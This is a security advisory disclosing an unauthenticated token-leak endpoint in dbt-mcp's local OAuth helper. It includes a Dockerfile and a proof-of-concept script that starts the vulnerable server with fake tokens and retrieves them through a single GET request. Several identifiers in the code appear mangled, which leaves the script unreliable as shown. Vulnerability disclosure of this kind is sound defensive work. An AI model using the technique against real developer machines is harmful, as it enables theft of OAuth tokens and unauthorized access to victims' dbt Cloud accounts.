Advisory

GHSA-jr33-mw75-7j8f

Details, part 2 of 2. The advisory

Details

Impact

Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The access_token grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The refresh_token (with offline_access scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.

This vulnerability is a Missing Authentication for Critical Function (CWE-306). Any developer machine running dbt-mcp with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because dbt-mcp is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

WORKDIR /app

# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi_app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir \
 "authlib~=1.6.7" \
 "fastapi~=0.128.0" \
 "uvicorn~=0.38.0" \
 "pyjwt~=2.12.0" \
 "pyyaml~=6.0.2" \
 "httpx~=0.28.1" \
 "filelock~=3.20.3" \
 "starlette~=0.50.0" \
 "requests>=2.28" \
 "pydantic~=2.0" \
 "pydantic-settings~=2.10.1"

# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src

ENV PYTHONPATH=/app/src

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens

Attack scenario:
 - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
 - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
 - GET /dbt_platform_con is accessible with NO authentication at all.
 - Any process on the same host (or a DNS-rebinding browser page) can call it
 and receive the full access_token + refresh_token.

This PoC:
 1. Pre-seeds a con file with fake-but-realistic OAuth tokens
 (simulating a victim who has already completed the OAuth flow).
 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
 4. Confirms the tokens are returned verbatim.
"""

import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path

import httpx
import uvicorn
import yaml

# Fake tokens that simulate a victim's completed OAuth session.
FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER"
FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"

FAKE_CONTEXT = {
 "decoded_access_token": {
 "access_token_response": {
 "access_token": FAKE_ACCESS_TOKEN,
 "refresh_token": FAKE_REFRESH_TOKEN,
 "expires_in": 3600,
 "scope": "user_access offline_access",
 "token_type": "Bearer",
 "expires_at": 9999999999,
 },
 "decoded_claims": {
 "sub": "99999",
 "iat": 1700000000,
 "exp": 9999999999,
 },
 },
 "host_prefix": "victimco",
 "dbt_host": "cloud.getdbt.com",
 "account_id": 42,
 "selected_project_ids": None,
 "dev_environment": None,
 "prod_environment": None,
}

PORT = 16785


def start_server(context_file: Path, static_dir: str) -> None:
 """Run the actual vulnerable FastAPI app in a background thread."""
 from authlib.integrations.requests_client import OAuth2Session
 from dbt_mcp.oauth.context_manager import DbtPlatformContextManager
 from dbt_mcp.oauth.fastapi_app import create_app

 context_manager = DbtPlatformContextManager(context_file)

 # A dummy OAuth client — only used by the /oauth-callback route,
 # which this PoC never triggers.
 fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")

 app = create_app(
 oauth_client=fake_oauth_client,
 state_to_verifier={},
 dbt_platform_url="https://cloud.getdbt.com",
 static_dir=static_dir,
 dbt_platform_context_manager=context_manager,
 )

 loop = asyncio.new_event_loop()
 asyncio.set_event_loop(loop)
 config = uvicorn.Config(
 app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio"
 )
 server = uvicorn.Server(config)
 loop.run_until_complete(server.serve())


def wait_for_server(port: int, timeout: float = 15.0) -> bool:
 import socket

 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 with socket.create_connection(("127.0.0.1", port), timeout=1):
 return True
 except OSError:
 time.sleep(0.2)
 return False


def main() -> int:
 print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak")
 print("=" * 70)

 # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
 context_file = Path("/tmp/dbt_poc_mcp.yml")
 context_file.write_(
 yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8"
 )
 print(f"[*] Con file written: {context_file}")
 print(f" access_token : {FAKE_ACCESS_TOKEN}")
 print(f" refresh_token : {FAKE_REFRESH_TOKEN}")

 # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
 static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_")
 (Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>")

 # 3. Start the real vulnerable FastAPI server in a background thread
 t = threading.Thread(
 target=start_server, args=(context_file, static_dir), daemon=True
 )
 t.start()

 print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
 if not wait_for_server(PORT):
 print("[-] FAIL: Server did not start within timeout.")
 return 2

 print("[*] Server is up.")

 # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)
 url = f"http://127.0.0.1:{PORT}/dbt_platform_con"
 print(f"\n[*] Sending unauthenticated GET {url}")
 try:
 resp = httpx.get(url, timeout=10)
 except Exception as exc:
 print(f"[-] HTTP request failed: {exc}")
 return 2

 print(f"[*] HTTP Status: {resp.status_code}")

 if resp.status_code != 200:
 print(f"[-] FAIL: Expected 200, got {resp.status_code}")
 print(f" Body: {resp.[:500]}")
 return 1

 try:
 data = resp.json()
 except Exception as exc:
 print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}")
 return 1

 print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")

 # 5. Verify that the tokens are in the response (no redaction, no auth required)
 try:
 leaked_access = (
 data["decoded_access_token"]["access_token_response"]["access_token"]
 )
 leaked_refresh = (
 data["decoded_access_token"]["access_token_response"]["refresh_token"]
 )
 except (KeyError, TypeError) as exc:
 print(f"\n[-] FAIL: Token fields missing from response: {exc}")
 return 1

 print(f"\n[!] LEAKED access_token : {leaked_access}")
 print(f"[!] LEAKED refresh_token : {leaked_refresh}")

 if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:
 print(
 "\n[+] VULNERABILITY CONFIRMED:"
 " Tokens returned from /dbt_platform_con WITHOUT authentication!"
 )
 return 0
 else:
 print("\n[-] FAIL: Returned tokens do not match expected values.")
 print(f" Expected access_token : {FAKE_ACCESS_TOKEN}")
 print(f" Got access_token : {leaked_access}")
 return 1


if __name__ == "__main__":
 sys.exit(main())

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